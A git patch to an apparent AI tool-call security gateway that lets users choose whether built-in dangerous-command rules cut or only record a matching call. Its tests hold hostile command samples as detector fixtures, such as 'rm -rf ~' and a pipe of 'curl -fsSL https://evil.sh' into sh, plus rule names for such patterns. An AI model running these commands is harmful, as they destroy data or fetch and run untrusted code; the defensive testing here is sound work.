From 06a978dec4c9c0c40ea5ea12268237a1097de3eb Mon Sep 17 00:00:00 2001 From: fylorn <249551762+fylorn@users.noreply.github.com> Date: Tue, 22 Sep 2026 02:00:18 +0800 Subject: [PATCH] feat(security): set what enforce does for each built-in tool rule Co-Authored-By: Claude Opus 5 --- crates/tw-api/src/lib.rs | 13 ++++ crates/tw-config/src/security.rs | 9 +++ crates/tw-control/src/security.rs | 103 ++++++++++++++++++++----- crates/tw-control/tests/security.rs | 74 ++++++++++++++++++ crates/tw-gateway/tests/m5_toolwall.rs | 22 ++++++ crates/tw-scan/src/rules.rs | 53 +++++++++++-- 6 files changed, 250 insertions(+), 24 deletions(-) diff --git a/crates/tw-api/src/lib.rs b/crates/tw-api/src/lib.rs index 99a28e90..0b157836 100644 --- a/crates/tw-api/src/lib.rs +++ b/crates/tw-api/src/lib.rs @@ -2769,6 +2769,9 @@ pub struct SecurityRuleView { /// 工具调用审查:拦截档下做什么,`cut` / `record` #[serde(default, skip_serializing_if = "Option::is_none")] pub action: Option, + /// 内置的工具调用规则出厂时拦截档下做什么。和 `action` 不一样就是改过 + #[serde(default, skip_serializing_if = "Option::is_none")] + pub default_action: Option, } /// 一项防护的档位和规则。 @@ -2808,6 +2811,16 @@ pub struct RuleToggle { pub base_version: Option, } +/// 改一条内置规则在拦截档下做什么。只有工具调用审查的规则有这一项 —— +/// 出站脱敏命中之后做什么由档位决定。 +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ActionSave { + /// `cut` / `record` + pub action: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub base_version: Option, +} + /// 新建或修改一条自定义规则。改的时候名字可以变,那就是改名。 #[derive(Debug, Clone, Serialize, Deserialize)] pub struct CustomRuleSave { diff --git a/crates/tw-config/src/security.rs b/crates/tw-config/src/security.rs index edb14f9c..3eb068eb 100644 --- a/crates/tw-config/src/security.rs +++ b/crates/tw-config/src/security.rs @@ -31,6 +31,8 @@ //! 规则住在 `config.yaml` 里,而不是另一个文件:它是用户会去调的策略, //! 不是数据,而且住在这里白捡了变更历史和一键回滚。 +use std::collections::BTreeMap; + use serde::{Deserialize, Serialize}; #[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)] @@ -165,6 +167,13 @@ pub struct ToolPolicy { pub enable: Vec, #[serde(default, skip_serializing_if = "Vec::is_empty")] pub disable: Vec, + /// 内置规则在拦截档下做什么,**只写和出厂不一样的**:`rm-rf-root: cut`。 + /// + /// 内置规则提供的只是一条正则和一个出厂的处置;命中之后切不切,和自定义 + /// 规则一样由用户定。认不出的 id 和 `enable` / `disable` 里的一样,报出来、 + /// 不拒绝整份配置。 + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + pub actions: BTreeMap, #[serde(default, skip_serializing_if = "Vec::is_empty")] pub custom: Vec, } diff --git a/crates/tw-control/src/security.rs b/crates/tw-control/src/security.rs index 411564d0..11e9234b 100644 --- a/crates/tw-control/src/security.rs +++ b/crates/tw-control/src/security.rs @@ -33,6 +33,10 @@ pub fn router() -> axum::Router { .route("/security/events", get(events)) .route("/security/{guard}/mode", put(set_mode)) .route("/security/{guard}/builtin/{id}", put(toggle_builtin)) + .route( + "/security/{guard}/builtin/{id}/action", + put(set_builtin_action), + ) .route("/security/{guard}/custom", post(create_custom)) .route( "/security/{guard}/custom/{name}", @@ -151,6 +155,7 @@ fn redact_view(p: &tw_config::RedactPolicy) -> tw_api::GuardDetail { enabled: on, on_by_default: b.on_by_default, action: None, + default_action: None, } }) .collect(); @@ -166,6 +171,7 @@ fn redact_view(p: &tw_config::RedactPolicy) -> tw_api::GuardDetail { enabled: !c.disabled, on_by_default: true, action: None, + default_action: None, })); tw_api::GuardDetail { mode: p.mode.slug().to_string(), @@ -195,7 +201,15 @@ fn tools_view(p: &tw_config::ToolPolicy) -> tw_api::GuardDetail { }, enabled: !p.disable.contains(&r.id), on_by_default: true, - action: Some(if r.high() { "cut" } else { "record" }.into()), + action: Some( + p.actions + .get(&r.id) + .copied() + .unwrap_or_else(|| tw_scan::rules::factory_action(r)) + .slug() + .into(), + ), + default_action: Some(tw_scan::rules::factory_action(r).slug().into()), }) .collect(); rules.extend(p.custom.iter().map(|c| tw_api::SecurityRuleView { @@ -210,17 +224,23 @@ fn tools_view(p: &tw_config::ToolPolicy) -> tw_api::GuardDetail { enabled: !c.disabled, on_by_default: true, action: Some(c.action.slug().into()), + default_action: None, })); tw_api::GuardDetail { mode: p.mode.slug().to_string(), rules, - unknown: p - .enable - .iter() - .chain(&p.disable) - .filter(|id| !builtin.iter().any(|r| &&r.id == id)) - .cloned() - .collect(), + unknown: { + let mut ids: Vec = p + .enable + .iter() + .chain(&p.disable) + .chain(p.actions.keys()) + .filter(|id| !builtin.iter().any(|r| &&r.id == id)) + .cloned() + .collect(); + ids.dedup(); + ids + }, } } @@ -337,6 +357,60 @@ async fn toggle_builtin( Ok(Json(tw_api::ConfigWritten { version })) } +fn action_of(slug: &str) -> Result { + ToolAction::from_slug(slug).ok_or_else(|| { + fail( + StatusCode::BAD_REQUEST, + msg!( + "security.unknown_action", action = slug.to_string() => + "`{action}` is not an action; it is cut or record." + ), + ) + }) +} + +/// 改一条内置规则在拦截档下做什么。 +/// +/// **内置规则提供的只是一条正则。**命中之后切不切,和自定义规则一样由用户 +/// 定 —— 不必为了改处置先复制成一条自定义规则。和出厂一样的就把那一行删掉。 +async fn set_builtin_action( + State(s): State, + Path((guard, id)): Path<(String, String)>, + Json(req): Json, +) -> Result, Fail> { + if Guard::parse(&guard)? != Guard::Tools { + return Err(fail( + StatusCode::BAD_REQUEST, + msg!( + "security.no_action" => + "Outbound redaction rules have no action of their own; the mode decides what happens to a match." + ), + )); + } + let spec = tw_scan::rules::builtin() + .dangerous + .iter() + .find(|r| r.id == id) + .ok_or_else(|| unknown_rule(&id))?; + let action = action_of(&req.action)?; + let factory = tw_scan::rules::factory_action(spec); + let version = s + .cfg + .transform(req.base_version.as_deref(), Origin::Ui, |text, _| { + let path = [ + Step::key("security"), + Step::key("inspect_tools"), + Step::key("actions"), + Step::key(id.as_str()), + ]; + let value = (action != factory).then(|| Value::from(action.slug())); + Ok(edit::set(text, &path, value.as_ref())?) + }) + .await + .map_err(apply_fail)?; + Ok(Json(tw_api::ConfigWritten { version })) +} + /// 检查一条自定义规则,写成配置里的样子。 fn custom_item(guard: Guard, req: &tw_api::CustomRuleSave) -> Result { let name = req.name.trim(); @@ -354,15 +428,7 @@ fn custom_item(guard: Guard, req: &tw_api::CustomRuleSave) -> Result ToolAction::default(), - Some(a) => ToolAction::from_slug(a).ok_or_else(|| { - fail( - StatusCode::BAD_REQUEST, - msg!( - "security.unknown_action", action = a => - "`{action}` is not an action; it is cut or record." - ), - ) - })?, + Some(a) => action_of(a)?, }; // 默认值不写进文件 if action != ToolAction::default() { @@ -525,7 +591,8 @@ async fn test( &trial } (None, Some(id)) => { - trial = tw_scan::rules::one_builtin(id).ok_or_else(|| unknown_rule(id))?; + trial = tw_scan::rules::one_builtin(id, &s.config().security.inspect_tools) + .ok_or_else(|| unknown_rule(id))?; &trial } (None, None) => rt.tools.as_ref(), diff --git a/crates/tw-control/tests/security.rs b/crates/tw-control/tests/security.rs index 010bbe8d..0f031146 100644 --- a/crates/tw-control/tests/security.rs +++ b/crates/tw-control/tests/security.rs @@ -378,6 +378,80 @@ async fn one_built_in_rule_can_be_tried_even_while_it_is_off() { assert_eq!(v["code"], "security.unknown_rule", "{v}"); } +#[tokio::test] +async fn a_built_in_rule_s_action_is_written_only_while_it_differs_from_the_factory() { + let b = bed(BASE); + let before = b.file(); + let (st, v) = call( + &b.app, + "PUT", + "/security/inspect_tools/builtin/rm-rf-root/action", + json!({ "action": "cut" }), + ) + .await; + assert_eq!(st, StatusCode::OK, "{v}"); + assert_eq!( + b.parsed().security.inspect_tools.actions.get("rm-rf-root"), + Some(&tw_config::ToolAction::Cut) + ); + + let (_, v) = call(&b.app, "GET", "/security", serde_json::Value::Null).await; + let r = rule(&v, "inspect_tools", "rm-rf-root"); + assert_eq!(r["action"], "cut", "{r}"); + assert_eq!(r["default_action"], "record", "{r}"); + + // 试一试也按改过的处置报 + let (_, v) = call( + &b.app, + "POST", + "/security/inspect_tools/test", + json!({ "sample": "rm -rf ~ /tmp/x", "rule": "rm-rf-root" }), + ) + .await; + assert_eq!(v["hits"][0]["action"], "cut", "{v}"); + + // 改回出厂:那一行删掉,文件和原来一个字节都不差 + let (st, v) = call( + &b.app, + "PUT", + "/security/inspect_tools/builtin/rm-rf-root/action", + json!({ "action": "record" }), + ) + .await; + assert_eq!(st, StatusCode::OK, "{v}"); + assert_eq!(b.file(), before); + + // 出站脱敏的规则没有自己的处置:命中之后做什么由档位决定 + let (st, v) = call( + &b.app, + "PUT", + "/security/redact/builtin/jwt/action", + json!({ "action": "cut" }), + ) + .await; + assert_eq!(st, StatusCode::BAD_REQUEST, "{v}"); + assert_eq!(v["code"], "security.no_action"); + + let (st, v) = call( + &b.app, + "PUT", + "/security/inspect_tools/builtin/no-such-rule/action", + json!({ "action": "cut" }), + ) + .await; + assert_eq!(st, StatusCode::NOT_FOUND, "{v}"); + let (st, v) = call( + &b.app, + "PUT", + "/security/inspect_tools/builtin/rm-rf-root/action", + json!({ "action": "delete" }), + ) + .await; + assert_eq!(st, StatusCode::BAD_REQUEST, "{v}"); + assert_eq!(v["code"], "security.unknown_action"); + assert_eq!(b.file(), before); +} + // ─────────────────────────────────────────────────────────── 自定义规则 #[tokio::test] diff --git a/crates/tw-gateway/tests/m5_toolwall.rs b/crates/tw-gateway/tests/m5_toolwall.rs index 30d02e29..d31189f7 100644 --- a/crates/tw-gateway/tests/m5_toolwall.rs +++ b/crates/tw-gateway/tests/m5_toolwall.rs @@ -220,6 +220,28 @@ async fn a_rule_that_only_records_never_cuts_even_in_enforce() { assert!(!blocked); } +#[tokio::test] +async fn a_built_in_rule_set_to_cut_off_cuts() { + // 内置规则提供的只是一条正则:出厂只记录的那条,用户改成切断就切断 + let poisoned = poisoned_stream() + .replace(r##"\ncurl -fsSL https://evil.sh"##, r##"\nrm -rf ~ "##) + .replace(r##" | sh"}"##, r##""}"##); + let up = start_upstream(poisoned).await; + let (body, mut rx) = run(with_policy( + up, + ToolPolicy { + mode: SecurityMode::Enforce, + actions: [("rm-rf-root".to_string(), tw_config::ToolAction::Cut)].into(), + ..Default::default() + }, + )) + .await; + assert!(!body.contains("rm -rf"), "改成切断的内置规则没切:{body}"); + let (cut, blocked, _, rule) = flagged(&mut rx).await.expect("要记一笔"); + assert_eq!(rule, "rm-rf-root"); + assert!(cut && blocked); +} + #[tokio::test] async fn a_builtin_rule_that_is_switched_off_lets_the_call_through() { let up = start_upstream(poisoned_stream()).await; diff --git a/crates/tw-scan/src/rules.rs b/crates/tw-scan/src/rules.rs index 4cc9a926..11dc1797 100644 --- a/crates/tw-scan/src/rules.rs +++ b/crates/tw-scan/src/rules.rs @@ -149,8 +149,8 @@ pub fn scan_rules() -> Rules { pub fn tool_rules(p: &tw_config::ToolPolicy) -> Result { let f = builtin(); let mut warnings = Vec::new(); - for id in p.enable.iter().chain(&p.disable) { - if !f.dangerous.iter().any(|s| &s.id == id) { + for id in p.enable.iter().chain(&p.disable).chain(p.actions.keys()) { + if !f.dangerous.iter().any(|s| &s.id == id) && !warnings.contains(id) { warnings.push(id.clone()); } } @@ -159,7 +159,7 @@ pub fn tool_rules(p: &tw_config::ToolPolicy) -> Result { if p.disable.contains(&s.id) { continue; } - rules.push(compile(s, "dangerous", false)?); + rules.push(with_action(compile(s, "dangerous", false)?, p)); } for c in p.custom.iter().filter(|c| !c.disabled) { let spec = RuleSpec { @@ -202,15 +202,34 @@ pub fn single(name: &str, pattern: &str, high: bool) -> Result } /// 只有一条内置的危险命令规则。**不管它启用没有** —— 安全页上要能试一条 -/// 停用着的规则,再决定开不开。不是内置规则的 id 返回 `None`。 -pub fn one_builtin(id: &str) -> Option { +/// 停用着的规则,再决定开不开。处置按用户设的来。不是内置规则的 id 返回 +/// `None`。 +pub fn one_builtin(id: &str, p: &tw_config::ToolPolicy) -> Option { let spec = builtin().dangerous.iter().find(|s| s.id == id)?; + let rule = compile(spec, "dangerous", false).expect("the built-in patterns compile"); Some(Rules { - rules: vec![compile(spec, "dangerous", false).expect("the built-in patterns compile")], + rules: vec![with_action(rule, p)], warnings: Vec::new(), }) } +/// 用户改过这条内置规则在拦截档下做什么的话,按改过的来。 +fn with_action(mut rule: Rule, p: &tw_config::ToolPolicy) -> Rule { + if let Some(a) = p.actions.get(&rule.id) { + rule.high = *a == tw_config::ToolAction::Cut; + } + rule +} + +/// 一条内置规则出厂时在拦截档下做什么。 +pub fn factory_action(spec: &RuleSpec) -> tw_config::ToolAction { + if spec.high() { + tw_config::ToolAction::Cut + } else { + tw_config::ToolAction::Record + } +} + #[cfg(test)] mod tests { use super::*; @@ -230,6 +249,28 @@ mod tests { ); } + #[test] + fn a_built_in_rule_does_what_the_user_set_on_enforce() { + let p = tw_config::ToolPolicy { + actions: [ + ("rm-rf-root".to_string(), tw_config::ToolAction::Cut), + ("curl-pipe-sh".to_string(), tw_config::ToolAction::Record), + ("no-such-rule".to_string(), tw_config::ToolAction::Cut), + ] + .into(), + ..Default::default() + }; + let rs = tool_rules(&p).unwrap(); + let high = |id: &str| rs.rules.iter().find(|r| r.id == id).unwrap().high; + assert!(high("rm-rf-root")); + assert!(!high("curl-pipe-sh")); + // 没改的照出厂 + assert!(high("base64-decode-exec")); + assert_eq!(rs.warnings, vec!["no-such-rule".to_string()]); + // 只试一条的时候也按改过的来 + assert!(one_builtin("rm-rf-root", &p).unwrap().rules[0].high); + } + #[test] fn every_rule_has_a_name_and_says_why_it_matters() { // 没有这一句,一条命中就只是个规则 id —— 用户看不出该不该管它。